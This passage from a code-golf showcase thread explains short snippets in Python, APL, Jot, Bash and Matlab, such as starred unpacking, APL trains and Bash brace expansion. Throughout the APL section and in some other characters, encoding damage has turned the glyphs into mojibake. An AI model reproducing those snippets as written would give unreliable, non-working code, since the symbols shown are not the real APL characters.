sort of iterable. In Python, you can "unpack" tuples and lists like so: ``` a,b = [1,2] ``` This assigns 1 to `a` and 2 to `b`. This syntax is also used for multiple assignment, such as ``` a,b = b,a+b ``` which is useful when writing a program that computes the Fibonacci series. If the lengths on both sides don't match, then a `ValueError` is thrown. However, Python 3 introduced a new syntax, [extended iterable unpacking](https://www.python.org/dev/peps/pep-3132/) (or more colloquially, "starred assignment") which allows you to do things like this: ``` *x,y = [1, 2, 3, 4, 5] ``` This assigns `y` to the last element, 5, and `x` to **the rest of the list**, i.e. `[1, 2, 3, 4]`. You can even do something like this: ``` a,b,*c,d,e = [1, 2, 3, 4, 5, 6, 7] ``` which assigns 1 to `a`, 2 to `b`, `[3, 4, 5]` to `c`, 6 to `d` and 7 to `e`. ### Length 7 snippet ``` zip(*x) ``` `zip` is a function which takes a bunch of lists and, well, zips them up: ``` >>> zip([1, 2, 3], [4, 5, 6]) [(1, 4), (2, 5), (3, 6)] ``` Note: In Python 3 a `zip` object is returned instead, so if you want a list like above you'll need to wrap the call in `list()` It's quite a convenient function if you have two or more related lists, and you want to link up their respective entries. Now say you want to *unzip* the list ‚Äî how would you do so? We can try to use `zip` again, but unfortunately this gives: ``` >>> zip([(1, 4), (2, 5), (3, 6)]) [((1, 4),), ((2, 5),), ((3, 6),)] ``` The problem is that everything is in the one list, but `zip` takes the individual lists as separate function arguments. To fix this we introduce the `*` splat operator, which takes a list/tuple/etc. and unpacks them as function arguments: ``` f(*[1,2]) ==> f(1, 2) ``` And the result is: ``` >>> zip(*[(1, 4), (2, 5), (3, 6)]) [(1, 2, 3), (4, 5, 6)] ``` ### Length 8 snippet ``` x='a''b' ``` The first time I saw this, I was a little taken back ‚Äî what does it mean to have two strings next to each other? The answer was simple: ``` >>> x 'ab' ``` Python merely concatenates the two strings! This is extremely useful for readability, since it allows you to break up long strings like so (note the surrounding parentheses): ``` x = ('This is a very long sentence, which would not look very nice ' 'if you tried to fit it all on a single line.') ``` ### Length 9 snippet ``` 0!=2 is 2 ``` You may already know that Python allows chaining of comparison operators, so `5 < x <= 7` is only true if `5 < x` and `x <= 7`. If you didn't know that... then surprise! Anyhow, lesser known is the fact that, since `is`/`is not`/`in`/`not in` are also comparison operators, they can be chained too. In other words, the above code is equivalent to `(0 != 2) and (2 is 2)`, which is `True`. Note: There are a few subtleties with the `2 is 2` half though, since `is` checks whether two things are the same *object*, not whether two things are the same *value*. Python caches small integers so `1+1 is 2` is `True`, but `999+1 is 1000` is **`False`**! ### Length 10 snippet ``` x=[];x+=x, ``` What happens when you add a list to itself? If we try printing `x`, we get: ``` [[...]] ``` Fortunately, Python's `print` is intelligent enough to not explode trying to print recursive lists. We can then do a bunch of fun things, like: ``` >>> x[0][0][0][0][0] [[...]] >>> x[0] == x True ``` This feature also works with dictionaries, and is one way of creating data structures with cycles, e.g. a graph. ### Length 11 snippet ``` help(slice) ``` The `help` function is very useful for debugging in Python. When called with no arguments in REPL, `help()` starts a help session, in which you can look up documentation for functions/data types/etc. When called with a specific argument, `help` will give information on the related item. For example, `help(slice)` gives the following information (truncated since it's quite long): ``` Help on class slice in module __builtin__: class slice(object) | slice(stop) | slice(start, stop[, step]) | | Create a slice object. This is used for extended slicing (e.g. a[0:10:2]). | | Methods defined here: | | __cmp__(...) | x.__cmp__(y) <==> cmp(x,y) | | __getattribute__(...) | x.__getattribute__('name') <==> x.name | | ... ``` As for `slice`, as we can see we can create `slice` objects for indexing. For example: ``` >>> L = list(range(10)) >>> L[slice(2, 5)] # L[2:5] [2, 3, 4] >>> L[slice(2, None)] # L[2:] [2, 3, 4, 5, 6, 7, 8, 9] ``` Another useful function for debugging is `dir()`, which returns all names in the current scope when called without an argument, and returns all attributes of a given object when called with an argument. ### Length 12 snippet ``` round(5.0/2) ``` What does this evaluate to? The answer depends on your Python version! In Python 2, division between two integers results in integer division (i.e. `5/2 == 2`) whereas in Python 3 we get float division (i.e. `5/2 == 2.5`). However, this is division between a float and an integer, which should always result in a float. Why would we get different results then? If we take a look at the documentation for `round` for both Python versions, we'll find the answer: * In [Python 2](https://docs.python.org/2/library/functions.html#round), `round` tiebreaks by rounding away from 0. * In [Python 3](https://docs.python.org/3.5/library/functions.html#round), `round` tiebreaks by rounding towards the **closest even integer**. In other words, `5.0/2 = 2.5` rounds to `3` in Python 2, but rounds to `2` in Python 3. Rounding towards the closest even integer might sound weird, but it's actually called [banker's rounding](https://en.wikipedia.org/wiki/Rounding#Round_half_to_even), and tries to treat positive and negative values similarly to reduce bias. ### Length 13 snippet ``` class C:__x=1 ``` Being object-oriented, Python has classes. The above is a class `C` which has a single attribute `__x` set to 1. We can access class attributes using dot notation. For example, if we have the class ``` class MyClass(): my_attr = 42 ``` then printing `MyClass.my_attr` would result in 42, as expected. However, if we do the same and try to access `C.__x` as defined above, we get: ``` AttributeError: type object 'C' has no attribute '__x' ``` What's going on? `C` clearly has an `__x` attribute! The reason is that attributes starting with `__` emulate "private" variables, something which [Python does not have](https://stackoverflow.com/questions/1641219/does-python-have-private-variables-in-classes). Python mangles the name of any attribute starting with `__`, appending the class name so that name reuse conflicts are avoided. In the above example, if we were really determined to access that `1`, we would instead have to do ``` >>> C._C__x 1 ``` ### Length 14 snippet ``` NotImplemented ``` Not only does Python have classes, it also has operator overloading. For example, you can have a class ``` class Tiny(): def __lt__(self, other): return True ``` where `__lt__` is the less-than operator. Now if we make an instance of `Tiny`, we can do this ``` >>> t = Tiny() >>> t < 1 True >>> t < "abc" True ``` since we've defined `__lt__` to always return `True`. Note that we can also do ``` >>> 42 > t True ``` but the following breaks: ``` >>> t > 42 Traceback (most recent call last): File "<pyshell#18>", line 1, in <module> t > 42 TypeError: unorderable types: Tiny() > int() ``` Wait, how does that work? We haven't specified a behaviour for greater-than with `Tiny`, so it's not surprising that the last case breaks. But then how does an `int` (42) know that it's greater than our `Tiny` object? Python has a builtin constant `NotImplemented`, which can be returned by a comparison special method. Let's try it out: ``` class Unknown(): def __gt__(self, other): # __gt__ for greater-than print("Called me first!") return NotImplemented ``` Now if we make an instance of our new class: ``` >>> u = Unknown() ``` We can do this: ``` >>> t < u True >>> u > t Called me first! True ``` As we can see, what happened for `u > t` is that Python tried to call the greater-than method for `Unknown` first, found that it was not implemented, and tried the less-than method for the other class (`Tiny`) instead! ### Length 15 snippet ``` x=[],;x[0]+=[1] ``` This is a bit of a fun one. First we assign `x` to be `[],` which is an empty list inside a tuple, i.e. `([],)`. Then we do `x[0]+=[1]` which tries to extend the empty list inside by the second list `[1]`. Now, remember that lists are mutable and tuples are *im*mutable ‚Äì what happens when you try to change a mutable object inside an immutable object? ``` >>> x=[],;x[0]+=[1] Traceback (most recent call last): File "<pyshell#0>", line 1, in <module> x=[],;x[0]+=[1] TypeError: 'tuple' object does not support item assignment ``` Oh so it gives an error, I guess that's to be expected. But what if we try to print `x`? ``` >>> x ([1],) ``` Huh? The list changed! If you're curious about what's happening here, be sure to check out [this blog post](http://emptysqua.re/blog/python-increment-is-weird-part-ii/). ### Length 16 snippet ``` @lru_cache(None) ``` Just add cache! This is a simple example of a [decorator](http://simeonfranklin.com/blog/2012/jul/1/python-decorators-in-12-steps/) available in Python 3. Suppose we have the following na√Øve Fibonacci implementation: ``` def f(n): if n < 2: return 1 return f(n-1) + f(n-2) ``` As most introduction to programming courses may tell you, this is a *very bad* way of implementing Fibonacci, leading to exponential runtime since we're effectively just adding a lot of 1s at the base case. `f(10)`? Runs in a split second. `f(32)`? Take a while, but it gets there. `f(100)`? Nope. But if we cache the results, things should get a lot faster. We could always use a dictionary for the cache, but let's try something else instead: ``` from functools import lru_cache @lru_cache(None) def f(n): if n < 2: return 1 return f(n-1) + f(n-2) ``` As we can see, all I've done is import `lru_cache` from the `functools` module and added `@lru_cache(None)` before my function. `@` denotes a decorator which wraps around a function, in this case for memoisation. `lru_cache`'s first argument is `maxsize`, the maximum size of the cache ‚Äì here we've set it to `None` to indicate no maximum size. Now if we try to use it: ``` >>> f(100) 573147844013817084101 ``` And it didn't even take a second! Note: `f(1000)` leads to a recursion depth error, but that's a story for another time [Answer] # APL ## Factoid APL (**A** **P**rogramming **L**anguage) started out as an interpreter for a formula notation devised by [Ken Iverson](https://de.wikipedia.org/wiki/Kenneth_E._Iverson). When the language was designed, people used teletypwriters to communicate with computers. The character set of these was limited, but due to their construction, one could put multiple characters into the same position to compose complex characters. This feature is heavily used by APL, contributing to its infamous reputation as a read-only language. You can try out most of the examples on <http://www.tryapl.org>. ## Length 1 ``` ‚çù ``` The character `‚çù`, called lampshade, both for its shape and for the enlightment you get from its presence, introduces a comment. Historically, it was created by overstriking a `‚àò` (jot) and a `‚à©` (up shoe). ## Length 2 ``` ‚ç≥3 ``` The monadic (one argument) function `‚ç≥` (iota) generates a vector of the first few natural numbers. For instance, the aforementioned `‚ç≥3` would yield `1 2 3`, the vector of the first three natural numbers. On some implementations of APL, it would yield `0 1 2` instead, this depends on the value of `‚éïIO`, the **i**ota **o**rigin. ## Length 3 ``` 5\3 ``` As opposed to the monadic `‚ç≥`, the dyadic `\` (expand) function copies the argument on the right as often as the argument on the left; thus, `5\3` yields `3 3 3 3 3`. You might want to play around with vector arguments (like `1 2 3\4 5 6`) to see what it does then. ## Length 4 ``` A‚Üê‚ç≥3 ``` This assigns to `A` the value of `‚ç≥3`. `‚Üê` (left arrow) is the assignment operator. An assignment doesn't have to be the leftmost thing in a statement; assignments are parsed like function calls and yield the assigned value for further use. ## Length 5 ``` ‚àò.√ó‚ç®A ``` A three by three multiplication table, that is, ``` 1 2 3 2 4 6 3 6 9 ``` This is a little bit complicated, so let me explain. `‚ç∫‚àò.f‚çµ` (read: alpha jot dot f omega) is the *outer product* of `‚ç∫` and `‚çµ` over `f`. The outer product is a table of the result of applying `f` to each possible pair of elements from `‚ç∫` and `‚çµ`. In this example, `f` is `√ó` (multiply), yielding a multiplication table. The operator `‚ç®` (tilde di√¶resis) *commutes* its arguments, that is, `‚ç∫f‚箂çµ` is equal to `‚ç∫f‚çµ` and `f‚箂çµ` without a left operand is equal to `‚çµf‚çµ`. Without the commute operator this snippet would be `A‚àò.√óA`. The outer product operator is very versatile; check out what happens if you substitute `=` for `√ó`! ## Length 6 ``` {√ó/‚ç≥‚çµ} ``` A factorial function. A pair of curly braces encloses a *dfn* (dynamic function), that is, an anonymous function (cf. lambda expressions). The arguments to a dfn are bound to the variables `‚ç∫` and `‚çµ` or just `‚çµ` if the dfn is called as a monadic (single argument, as opposed to dyadic, two argument) function. We apply `‚ç≥` to the right argument, yielding integers from `1` to `‚çµ`. The `/` (slash) operator reduces, that is `f/‚çµ` inserts `f` between the items of `‚çµ`. For instance, `+/‚ç≥5` is just `1+2+3+4+5`. In this case, we reduce with `√ó`, yielding the product of the items of `‚ç≥‚çµ`, which is just the factorial of `‚çµ`. ## Length 7 ``` 2√ó3*4+5 ``` Yields `39366`. `‚ç∫*‚çµ` (alpha star omega) is `‚ç∫` raised to the power of `‚çµ`. APL has a very simple precedence rule: Everything is evaluated from right to left, all functions are right-associative. Operators bind stronger than functions and are evaluates from left to right. Thus, the expression above with explicit parentheses would be written as `2√ó(3*(4+5))` as opposed to the usual `(2√ó(3*4))+5`. ## Length 8 ``` ¬Ø1+3 3‚ç¥A ``` This snippet yields ``` 0 1 2 0 1 2 0 1 2 ``` and demonstrates two important concepts: The first concept is the `‚ç¥` (rho) function, which *reshapes* its right argument to the shape specified in its left argument. The shape of an array is a vector of the lengths of each axis in the array. The shape of a scalar is the empty vector. Thus, `3 3‚ç¥A` reshapes `A` into a three by three matrix. The second concept is how addition is used here: We add `¬Ø1` (overbar one), meaning negative one (`¬Ø` is a prefix to specify negative numbers, while `-` is an operator) to an array. The two operands have different shapes, so the operand with the lesser shape is distributed onto the other operand, subtracting one from every item in the generated matrix. ## Length 9 ``` +.√ó‚ç®3 3‚ç¥A ``` `A`, reshaped to a 3 by 3 matrix, multiplied with itself. The `.` (dot) operator takes two functions and constructs an *inner product*, where the first function represents *addition* and the second function *multiplication.* A plain, old, matrix multiplication is `+.√ó`, a common variant is `‚â†.‚àß` (where `‚â†` is not equal and `‚àß` (up caret) is logical and) for boolean matrices; many interesting things can be modelled as an inner product with certain operators in place of `+` and `√ó`. ## Length 10 ``` (.5√ó‚ä¢+√∑)‚磂Ⱐ``` (read: left parenthesis dot five multiply right-tack plus divide right parenthesis star-di√¶resis same) Compute the square root of a real using the [Babylonian method](https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method). The left argument is the number you want to compute the square root of, the right argument is the initial guess for the square root. I originally wanted to provide a meaningful initial guess, but I ran out of characters (append `‚ç®` to use the number itself as the initial guess). So how does this work? Let's start with the left part, `(.5√ó‚ä¢+√∑)`, first. This expression uses tacit notation originating in [J](https://codegolf.stackexchange.com/a/44684/26997) which was later ported back to Dyalog APL. Tacit notation is a bit hard for beginners, so please read this section carefully. An isolated sequence, such as `+/√∑‚â¢`, which the ‚Äúnormal‚Äù parsing rules do not resolve to a single part of speech is called a train. A train of two or three functions produces a function and (by repeated resolution), a function train of any length also produces a function. A train of three functions `fgh` behaves like `{(‚ç∫f‚çµ)g‚ç∫h‚çµ}`, that is, `f` and `h` are applied to the arguments of the resulting function and the result of these are applied to `g`. A train of an array and two functions like `Afg` behaves like `{Af‚ç∫g‚çµ}`, this is, `g` is applied to the arguments of the resulting function and `A` and that result are applied to `f`. A train of two functions has a semantic, too, which is explained in the documentation but not used in this example. In this particular train, one new function, `‚ä¢` (right tack) is used. It behaves like `{‚çµ}`, yielding its right argument. Thus, the entire expression is equal to `{.5√ó‚çµ+‚ç∫√∑‚çµ}`, which is just the iteration step of the Babylonian formula. It is easy to see how tacit notation benefits the golfer; it allows you to shave of quite a few precious characters where applicable. The last piece of the puzzle is the `‚ç£` (star di√¶resis), *power* operator. If the right argument is an array, `f‚ç£A‚çµ` applies `f` to `‚çµ` a total of `A` times. For instance, `f‚ç£3‚çµ` is equal to `fff‚çµ`. The count can be negative, in which case APL tries to infer an inverse function of `f` and applies that. If the right argument to `‚ç£` is a function, too, `f‚ç£g‚çµ` applies `f` to `‚çµ` until `(fY)gY` where `Y` is the result of the repeated application of `f` to `‚çµ`. Notably, if `g` is `=` (equal) or `‚â°` (same), `f‚磂â°` computes a *fix point* of `f`. This is exactly what we need for the Babylonian method! We want to iterate until the result converges. Lastly, if `‚ç£` applied to a pair of things is invoked as a dyadic function, the left argument is bound to `f` on the left, i.e. `‚ç∫f‚ç£g‚çµ` is equal to `(‚ç∫‚àòf)‚ç£g‚çµ` where `A‚àòf` behaves like `{Af‚çµ}`. [Answer] # [Jot](https://web.archive.org/web/20131101213211/http://semarch.linguistics.fas.nyu.edu/barker/Iota/) Factoid: I can define Jot with 2 upvotes, and prove that it's Turing complete with 8 (not using lengths 4, 6, or 7). ## Length 1 ``` 1 ``` This is an example of two functions in Jot. The first is the empty string, which evaluates to the identity function. The second is `1`, which is Jot's grouping operator. `1` evaluates to `Œªxy.[F](xy)` ([lambda calculus](http://en.wikipedia.org/wiki/Lambda_calculus) notation), where `[F]` is the program before the `1` (here, the empty string). So, this program is the function `Œªxy.(Œªz.z)(xy)` which simplifies to `Œªxy.xy`. ## Length 2 ``` 10 ``` Now we are introducing the other symbol in Jot: `0`. Again if `[F]` represents the value of the program so far, `0` evaluates to `[F]SK`, where `S` and `K` are from [combinatory logic](http://en.wikipedia.org/wiki/Combinatory_logic). I've defined the entire language now. ## Length 5 ``` 11100 ``` I will now prove that Jot is Turing complete by defining a mapping from [combinatory logic](http://en.wikipedia.org/wiki/Combinatory_logic) to Jot. This Jot program is the [K combinator](http://en.wikipedia.org/wiki/Combinatory_logic#Examples_of_combinators). ## Length 8 ``` 11111000 ``` This is the S combinator. ## Length 3 ``` 1AB ``` Here, `A` and `B` are not part of Jot, but rather placeholders for an arbitrary expression. The expression `AB` in combinatory logic maps to `1AB` in Jot, with `A` and `B` recursively transformed by these three rules. QED ## Length N ``` 1 10 11 100 101 110 [...] ``` Every natural number, expressed in binary, is a valid Jot program. Consequently, I can algorithmically generate more snippets of arbitrary length. Given enough upvotes, I can solve the [halting problem](http://en.wikipedia.org/wiki/Halting_problem). [Answer] # Bash ### Factoid: The extremely serious ShellShock bug was present in Bash since 1989, and remained undiscovered for a quarter of a century. Much of the joy of writing Bash is coming to grips with its many idiosyncracies and inconsistencies. ### Length 1 snippet: ``` [ ``` An alias for the `test` builtin, allowing code of the format `if [ a == b ]; then` - in reality `[` is a standalone command, not a syntactical element, and `]` is purely decorative (although required by [, its requirement is arbitrary and you can do away with it by using `alias [=test`). ### Length 2 snippet: ``` || ``` Like logical `or` in most languages, but for processes. Will execute the command after the `||` only if the command before it returns non-zero. ### Length 3 snippet: ``` x=y ``` Assignment. Nice and predictable... but unlike most other languages, extra spaces aren't allowed. Which is kind of funny because you can stick extra spaces pretty much everywhere else between things in bash, just not around the `=`. ### Length 4 snippet: ``` $IFS ``` **Internal Field Separator** - this variable affects how Bash splits data for many built-in actions, such as iterating in for loops and populating arrays from strings. Used correctly it can be very powerful; but more often it's the cause of subtle and unpredictable bugs. ### Length 5 snippet: ``` ${x^} ``` Substitute the string in x, but with the first character capitalised! Such a frequently used feature that it has its own dedicated piece of language syntax. ### Length 6 snippet: ``` x=($y) ``` Fill an array, x, from a string or list of elements y, splitting on whatever the IFS is currently set to - by default, whitespace. A very useful feature for advanced bash programming. ### Length 7 snippet: ``` ${x[y]} ``` Arrays! But wait, what's that... y is a string, not a numerical index? Yes indeed, Bash supports associative arrays! Many people don't know this. You just need to `declare -A x` first. ### Length 8 snippet: ``` ${x##*,} ``` Substitute x, everything up until the last `,` character (or whatever you specify). Useful to get the last field of a csv - this is something you can't so easily do with `cut`, which only counts fields from the left. % and %% allows the same to cut from the right; % and # were chosen for their location on the US keyboard so it would be clear which means left and which means right, but that doesn't hold much value for everyone not using a US keyboard :) ### Length 9 snippet: ``` [ a = b ] ``` In most other languages, a single equals in a comparison operation would produce unintended behaviour in the form of an assignment. Not in Bash, though. Just don't omit any of the spaces, whatever you do! ### Length 10 snippet: ``` if [ a=b ] ``` This is what happens if you forget about the mandatory spaces. Will not throw an error. **Will always return true** - even if `a` and `b` are variables that are unset, or whatever they're set to, doesn't matter - it'll always return true. Think about code like `if [ "$password"="$correctpass" ]` to see the fun potential of this "feature". ### Length 11 snippet: ``` x=${y//a/b} ``` Regex-style substring replacement! Set x to the value of y but with every instance of a replaced with b. ### Length 12 snippet: ``` [[:upper:]]* ``` Pattern matching - you aren't limited to just using the \* wildcard in the shell, you can use any POSIX standard match such as `alnum`, `alpha`, `digit` etc. ### Length 13 snippet: ``` function x(){ ``` A bit of C syntax has mysteriously crept in! One of many completely different uses for curly braces, and another example of optional decorative elements to make Bash look more like other languages - either `()` or `function` can be omitted here (but not both). Also more fun with inconsistent spaces - a space after the `{` is mandatory, but **not** before the closing `}`, as in `function x { y;}` ### Length 14 snippet: ``` echo {Z..A..3} ``` Yet another totally unrelated use of curly braces. Expands a range with a specified step. In this case, will produce every 3rd letter from Z to A. Useful for generating sequences without using seq, but cannot be used with variables, so has limited functionality. ### Length 15 snippet: ``` echo {a,b,c,d}x ``` Another similar but not identical use for curly braces in sequence generation; prints `ax bx cx dx`, and is useful for generating a list of strings from a sequence or list in a single command. Again however, limited in usefulness as it can't be used with variables inside the braces. [Answer] # Matlab ### Snippet 26 - iterate over matrices This is something I just recently discovered. Usually you iterate over a given vector in for loops. But instead of vectors, you can also use matrices (`rand(10)` produces a 10x10 matrix with uniformly distributed numbers between 0 and 1). ``` for k=rand(10);disp(k);end ``` This then displays one column vector of the random matrix per iteration. ### Snippet 25 - easy plotting We know plotting is easy in matlab, but there is a super easy function `ezplot` (`E-Z` get it? It took quite a while until I finally got it, as I spelled `Z` always as `sed` instead of `c`, whatever...) Everyone likes elliptic curves: ``` ezplot('y^2-x^3+9*x-10.3') ``` [![elliptic curve](https://i.stack.imgur.com/aj3x1.png)](https://i.stack.imgur.com/aj3x1.png) ### Snippet 24 - integration The old fashioned word (but still in use in numerical computation) for integration is 'quadrature', can you guess what the result of the following one is? ``` quad(@(x)4./(1+x.^2),0,1) ``` ### Snippet 23 - images Of course Matlab is also very popular among scientists who have to work with images (e.g. medical image analysis), so here is a very handy function. First argument is the image, second the angle and the third optional argument here tells the function to crop it to original size. ``` imrotate(rand(99),9,'c') ``` ![here](https://i.stack.imgur.com/IkVJ9.png) ### Snippet 22 - music ``` load handel;sound(y,Fs) ``` It will sound about like [this (youtube link)](https://www.youtube.com/v/wIIH5Bva738&start=9&end=19&autoplay=1) ### Snippet 21 - differentiate & integrate ``` polyint(polyder(p),c) ``` You can easily differentiate and integrate polynomials by using those two functions. When integrating, you can pass a second argument that will be the constant. ### Snippet 20 - back to polynomials ``` p=poly(r);cp=poly(A) ``` Want the polynomial with the roots in `r`? Easy: `p=poly(r)`. Want the characteristic polynomial of a matrix `A`? Easy: `cp=poly(A)`. So `roots(p)` is exactly `r` (or a permutation of `r`). ### Snippet 19 - another magic trick ``` fminsearch(fun,x0); ``` There are people who absolutely love this function. This basically just searches a minimum of `fun` with an initial value `x0` (can be a vector) without any conditions on `fun`. This is great for fitting small models where you cannot (or you are too lazy) to differentiate the error/penalty/objective function. It uses the [Nelder-Mead simplex algorithm](https://en.wikipedia.org/wiki/Nelder%E2%80%93Mead_method) which is pretty fast for functions where you cannot make any assumptions. ### Snippet 18 - intro to polynomials ``` p=polyfit(x,y,deg) ``` Matlab has a nice solution for coping with polynomials. With `polyfit` you get a least squares polynomial of degree `deg` that approximates the points in `x,y`. You get a vector `p` that stores the coefficients of the polynomials, because that is the only thing what you need for representing a polynomial. If you go back to snippet 15, you can do the same thing by writing `c = polyfit(x,y,2)`. So e.g. `[1,-2,3]` represents the polynomial `x^2 - 2*x+3`. Of course there are also functions for fitting other elementary, or arbitrary functions. ### Snippet 17 - angles and discontinuities ``` unwrap(angle(c)) ``` If you want to get the argument of a 'continuous' vector of complex numbers you often get back values that seem to have a discontinuity. E.g. `angle([-1-0.2i,-1-0.1i,-1,-1+0.1i,-1+0.2i])` will get you `[-2.94,-3.04,3.14,3.04,2.94]` since `angle` only returns angles between `-pi` and `pi`. The function `unwrap` will take care of this! If you get a discontinuity like this, it will just add a multiple of `2*pi` in order to remove those: '[-2.94,-3.04,-3.14,-3.24,-3.34]' This even works for 2d-matrices! If you just plot the argument of complex numbers with a negative real part you get the first graphics you'll get the first image, with unwrap you get the second one: ![without unwrap](https://i.stack.imgur.com/avwYe.png) ![with unwrap](https://i.stack.imgur.com/qgqwJ.png) ``` [x,y] = meshgrid(-1:0.01:0,-0.5:0.01:0.5); z = x+i*y; imagesc(angle(z)) imagesc(unwrap(angle(z))) ``` ### Snippet 16 - scalar product ``` [1;2;3]'*[4;5;6] ``` Of course there are built in methods (like `dot`), but with the matrix-transformation operator `'` it is as simple as that. If you do not know whether you have row or column vectors, you can just use `a(:)'*b(:)` where `a(:)` always returns a column vector. ### Snippet 15 - linear least squares, the ugly method with the magic wand ``` [x.^2,x,x.^0]\y ``` `x` is the (column) vector with the values on the x-axis, `y` the noisy y-values. Type `c=[x.^2,x,x.^0]\y` and you get the coefficients of the 2nd degree polynomial. Of course you can use one of the billion builtin fit functions of matlab (how boring) why not use the magic wand?=) ``` x = (-1:0.1:2)'; y = 3*x.^2-2*x+1+randn(size(x)); %add some gaussian (normal) noise A = [x.^2,x,x.^0]; c = A\y %output: c = ]3.0049; -2.3484; 1.1852] plot(x,y,'x',x,A*c,'-') ``` ![linreg](https://i.stack.imgur.com/fa8sV.png) ### Snippet 14 - graphs ``` gplot(graph,x) ``` That is how to plot a graph. `graph` should contain a square adjacency matrix and `x` should be a nx2 matrix that contains the coordinates of each node. Lets make a random graph: `graph = triu( rand(8)>.7)` (make a Matrix that contains 0s and 1s, get only the upper triangle for an interesting graph). `x = rand(8,2)` then plot with some fancy styles `gplot(graph,x,'k-.d')` ![graph](https://i.stack.imgur.com/WE7ae.png) (I declare this as modern art.) ### Snippet 13 - meshgrid ``` meshgrid(a,b) ``` This is one of the most awesomest functions, simple but useful. If you want to plot a real valued function depending on two variables, you can just define a vector of values for the x-axis and one for the y-axis (a and b). Then with meshgrid, you can create two matrices of the size len(a) x len(b) where one has only the vector `a` as column, and the other has only the column has only the vectors `b` as rows. Usage example:`a = -3:0.2:3;[x,y]=meshgrid(a)` (if both vectors are the same, it is sufficient to just pass one.) Then you can just type `z=x.^2+-y.^2` and e.g. `mesh(x,y,z)`. This works for an arbitrary number of dimensions! So this is not only great for plotting, but also for getting all possible combinations of different vectors etc... (So, if you want to create a new code golf language, this should be in there, just make sure you use a shorter function name...) ![mesh](https://i.stack.imgur.com/WQDAC.png) ### Snippet 12 - plotting ``` plot(x,x.^2) ``` Take a vector `x=-3:0.5:3` and and let `plot` do the rest. There are many more functions for plotting this is just a very basic one that you can use all the time. It would be already enough to write `plot(v)` and the data in `v` will be plotted against the array indices. How simple is that? If you want to style your plot, just add a string as a third argument: e.g. `'r:o'` will make a red, dotted line with circles around the data points. If you want multiple plots, just add more arguments, or use matrices instead of vectors. Foolproof. ![plot](https://i.stack.imgur.com/v4JtZ.png) ### Snippet 11 - function handles ``` f=@(x,y)x+y ``` This is an example of a function handle that gets stored in `f`. Now you can call `f(1,2)` and get `3`. Function handles in matlab are very useful for math functions (e.g. plotting) and you can define them in one line. But one drawback is that you cannot have conditionals or piecewise (and therefore no recursion). If you want this, you have to use the `function` statement and declare a new function, and each of those has to be stored in a separate file... (WHYYYYYY????) PS: You'll get another funny easter egg if you type `why` in the console: They made a huge function that produces random messages like: ``` The tall system manager obeyed some engineer. The programmer suggested it. It's your karma. A tall and good and not excessively rich and bald and very smart and good tall and tall and terrified and rich and not very terrified and smart and tall and young hamster insisted on it. ``` ...which is very comforting if you are desperate enough to ask the console `why`... ### Snippet 10 - How does my matrix look? ``` spy(eye(9)) ``` As you know by now `eye(9)` creates a 9x9 identity matrix. `spy` just creates a that shows the zero/nonzero entries of the matrix. But you can also use it for displaying any binary 2d data. If you call `spy` without argument you'll get a nice little easter egg=) ![spy on identity](https://i.stack.imgur.com/1uLLs.png) ![spy easteregg](https://i.stack.imgur.com/yF1Wh.png) ### Snippet 9 ``` kron(a,b) ``` The `kron` function evaluates the [Kronecker product](https://en.wikipedia.org/wiki/Kronecker_product) of two matrices. This is very useful for discretisized multidimensional linear operators. I also used it every now and then for code golfing. You want all possible products of the entries of `a` and `b`? `kron(a,b)`, here you go. ### Snippet 8 ``` 5*a\b.*b ``` Ok here I mixed up 3 different operator. You can multiply any matrix by a scalar by just using `*`. (Then every entry of the matrix gets multiplied by that scalar). But `*` also performs matrix multiplications. If you prepend a dot you get the `.*` operator, this one multiplies two matrices of the same size but *entry wise*. (This can also be done with division operators like `/` and `\`.) Next, the backslash operator can be used as left division (in contrast to `/` which performs right division as you are used to) but it is also the most powerful and characteristic operator of matlab: It performs a 'matrix division'. Lets say you have the system of linear equations `A*x=b` and you want to solve it for `x`, then you can just type `x=A\b`. And `\` (you can also use `/` but that is less common for matrices) first quickly analyzes the matrix, and uses the results to find the fastest algorithm to perform this inversion-multiplication! (See e.g. [here](//stackoverflow.com/q/18553210)) But you can also use it for under- or over-defined systems (where the there exists no inverse or where the matrix isn't even square, e.g. for least squares method). This really is **the magic wand** of matlab. ### Snippet 7 ``` [a,b;c] ``` Ok that does not look like much, but it is a very convenient tool: Matrix concatenation. A comma between two expressions means that they get concatenated horizontally (that means they have to have the same height) and a semicolon means that the previous 'line' will be above the next 'line' (by line I mean everything between two semicolons. Just a simple example: `a = [1,2;3,4]; b = [5;6]; c =[7,8,9]; d=[a,b;c];` will result in the same `d` as `d=[1,2,5; 3,5,6; 7,8,9]`. (Get it?) ### Snipped 6 ``` eye(7) ``` This function produces a full 7x7 identity matrix. It is that easy. There are other functions like `nan,inf,ones,zeros,rand,randi,randn` that work the very same way. (If you pass two arguments you can set the height/width of the resulting matrix.) As I will show later, you can easily create and (and in a very visual way) concatenate matrices (2d-arrays) which is sooo damn useful and easy if you have to numerically solve partial differential equations. (When you solve PDEs the general approach is discretisizig the derivative operators, basically you will get just a huge system of linear equations that needs to be solved. These matrices normally are sparse (only very few non-zero elements) and have some kind of symmetry. That's why you can easily 'compose' the matrix you need. ### Snippet 5 ``` a(a>0.5) ``` I hope you are not getting tired by all the ways of accessing arrays. This shows an easy way to get all elements of an array that meet some conditions. In this case you get a vector of all elements of `a` that are greater than 0.5. The expression `a>0.5` just returns a matrix of the same size as `a` with ones for each element that satisfies the condition and a `0` for each element that doesn't. ### Snippet 4 ``` a(:) ``` This again just returns the contents of `a` as a column vector (nx1 matrix). This is nice if you do not know whether you stored your data as column or row vector, or if your data is two dimensional (e.g. for 2d finite differences methods). ### Snippet 3 ``` 1:9 ``` You can easily make vectors (in this case 1xn matrices) with the semicolon operator. In this case you get the vector `[1,2,3,4,5,6,7,8,9]`. This is also particularly nice for accessing slices of other vectors as e.g. `a(2:4)` accesses the second, third and fourth element of the vector `a`. You can also use it with a step size, like `0:0.5:10` or so. ### Snippet 2 ``` i; ``` A semicolon suppresses output to console. You can see it as a good or a bad thing, but I like it for debugging stuff. Any line of calculation etc. will automatically print its result to the console, as long as you do not suppress the output by a semicolon. ### Snippet 1 ``` i ``` Complex number are a basic number type. (Too bad many people use `i` as a counting variable in for loops in which case it gets overridden.) ### Intro For those who do not know, MatLab is a programming language (with nice IDE that is also called MatLab?) that is first of all intended for numerical calculations\* and data manipulation. (There is an open source counterpart called "Octave") As it is only\*\* interpreted it is not very fast, but it's strength are that you can easily manipulate matrices and many algorithms are implemented in an optimized way such that they run pretty fast when applied on matrices. It also is a very easy language to learn, but I do not recommend it as a starter language as you will assume pretty bad 'programming' habits. \*As it is 